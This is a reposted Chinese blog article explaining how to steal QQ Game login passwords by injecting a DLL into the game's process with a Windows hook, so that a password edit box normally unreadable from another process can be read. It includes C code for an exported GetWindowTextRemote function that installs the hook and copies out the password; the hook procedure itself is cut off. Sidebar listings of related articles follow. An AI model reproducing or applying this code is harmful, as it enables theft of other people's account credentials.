文档章节

使用HOOK获取QQ游戏登录密码

isolated
 isolated
发布于 2011/10/23 09:06
字数 870
阅读 172
收藏 2

//通过HOOK获取QQ游戏登录密码
不得不先说一下API函数SendMessage:
使用SendMessage向编辑框窗口发送WM_GETTEST消息,可以轻易获取到编辑框的内容(就算这个窗口不属于同一进程)。
但是有一个特例,那就是当编辑框窗口具有ES_PASSWORD风格(即密码输入框)且不输入同一进程时,使用上面的方法就失效了。
通俗的说,就是当你要使用SendMessage读取的密码框不属于同一个进程时,是读取不到任何内容的。
这也许是微软从安全角度考虑做的手脚吧。
如何解决这个问题?
如果我们能将SendMessage放到目标进程中执行问题就解决了。因为属于同一个进程时使用SendMessage是可以读取到密码框的内容的。
如何将SendMessage放到目标进程中执行呢?使用HOOK(或者进程注入)。
关于钩子(HOOK)
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。
这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
如何安装一个钩子?
使用API函数SetWindowsHookEx,原型及参数说明如下
HHOOK SetWindowsHookEx(
int idHook, // 钩子的类型,本例采用WH_CALLWNDPROC(窗口过程钩子)
HOOKPROC lpfn, // 钩子函数地址(即钩子函数的函数名)
HINSTANCE hMod, // 钩子函数所在的应用程序实例句柄,(本例为DLL的句柄)
DWORD dwThreadId // 目标线程ID,即钩子的宿主线程
);
注意:当最后一个参数为0时表示安装的是全局钩子,此时要求钩子函数必须要在DLL中。
MSDN上关于这个函数的说明很详细的。
准备活动做完了。下面是本程序的实现:
(1) GetWindowTextRemote.DLL
该DLL导出了一个函数GetWindowTextRemote,其它应用程序通过调用这个函数就能实现对其它应用程序密码编辑框内容的读取。
//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到远程进程
// 从远程编辑框控件中获取密码
//http://www.baoluowanxiang.com
// 返回值:读取到的密码字符数
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//给目标进程安装一个窗口过程钩子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//注册一个消息,用于通知远程进程读取密码
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 向远程进程发送读取消息,触发其读取密码
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
另一个重要的函数就是钩子过程了:
//-------------------------------------------------------


本文转自 ☆★ 包罗万象 ★☆ - www.baoluowanxiang.com 转载请注明出处,侵权必究!
原文链接:http://www.baoluowanxiang.com/a/program/c/2011/0703/3448.html

© 著作权归作者所有

共有 人打赏支持
isolated
粉丝 3
博文 28
码字总数 17672
作品 0
朝阳
产品经理
私信 提问
使用Xposed实现QQ/TIM自动确认电脑扫一扫登录

本文同步更新于旺仔的个人博客,访问可能有点慢,多刷新几次。 缘由 不知道大家有没有用过QQ/TIM登录的时候使用扫描二维码登录的功能呢? 也就是登录界面的右下角那里有个二维码的按钮 点击之...

叫我旺仔
2017/10/16
0
0
QQ2012 Beta3->QQ2013 Beta1聊天协议剖析

http://www.cnhonkerarmy.com/forum.php?mod=viewthread&tid=153514 背景 QQ,一个通信工具,号称拥有N亿,现在注册QQ已经是10位数了,如果QQ注册的号码是不断递增的话,那么QQ应该已经被注册...

nothingfinal
2013/10/13
0
0
支持指定不一样的进程使用不一样的代理上网功能软件开发

可以让单机 多个游戏进程、游戏窗口都虚拟不一样的IP,类似这种 客户端要可以限地区。例如我的服务器全国各地都有。我想让他到湖南那么就到湖南地区IP随机获取。也可以固定 该客户端让指定的...

ycSSS
2017/04/05
0
0
基于Token认证的多点登录和Api保护

  在文章中有错误的地方,或是有建议或意见的地方,请大家多多指正,邮箱: linjie.rd@gmail.com   一天张三,李四,王五,赵六去动物园,张三没买票,李四制作了个假票,王五买了票,赵六要直接FQ进...

linjierd
2018/12/11
0
0
黑色产业链分析丨QQ盗号粘虫

QQ盗号粘虫 此类病毒主要通过两个渠道传播:一是伪装成QQ刷钻工具、游戏外挂,另一种是伪装成各种QQ好友发送的文件、主要以办公文件为主。 粘虫窗口 专门从事QQ盗号黑色产业的不法分子会对偷...

皆明
2018/01/11
0
0

没有更多内容

加载失败,请刷新页面

加载更多

移植Modbus到STM32F103(2):移植FreeModbus到usart3并运行示例代码

FreeModbus是Modbus的一个被广泛移植的实现。其源码在github,最新版是1.6。 FreeModbus支持Modbus功能码里的0x01~0x06,0x0F~0x11和0x17,对一些功能比如异常诊断和读事件计数等功能码并没有...

Konstantine
30分钟前
0
0
浅谈神经网络(神经网络篇)

背景 之前写过浅谈神经网络基础篇,简单介绍下机器学习这块内容,用于扫盲。本文正式将神经网络,这部分是深度学习的基础。了解完可以掌握强大的机器学习的方法,也可以更好的了解深度学习。...

Uknowzheng
今天
3
0
移动硬盘变为RAW格式后的修复

在Mac上使用自己的移动硬盘结果文件系统格式变为RAW; 在自己windows笔记本上使用chkdsk H: /F进行修复,修复日志如下: C:\Users\mengzhang6>chkdsk H: /F文件系统的类型是 NTFS。卷标是 do...

晨猫
今天
3
0
10 Git —— 标签管理

10 Git —— 标签管理 本节内容: 命令git tag <tagname>用于新建一个标签,默认为HEAD,也可以指定一个commit id;命令git tag -a <tagname> -m "blablabla..."可以指定标签信息;命令git......

lwenhao
今天
3
0
小程序设置垂直居中,水平居中

如果子容器中的view需要居中的话,那需要在父容器中设置居中 水平居中: display: flex; flex-direction: column; align-items: center; 垂直居中 display: flex;align-items: cen...

淘幻幻
今天
4
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部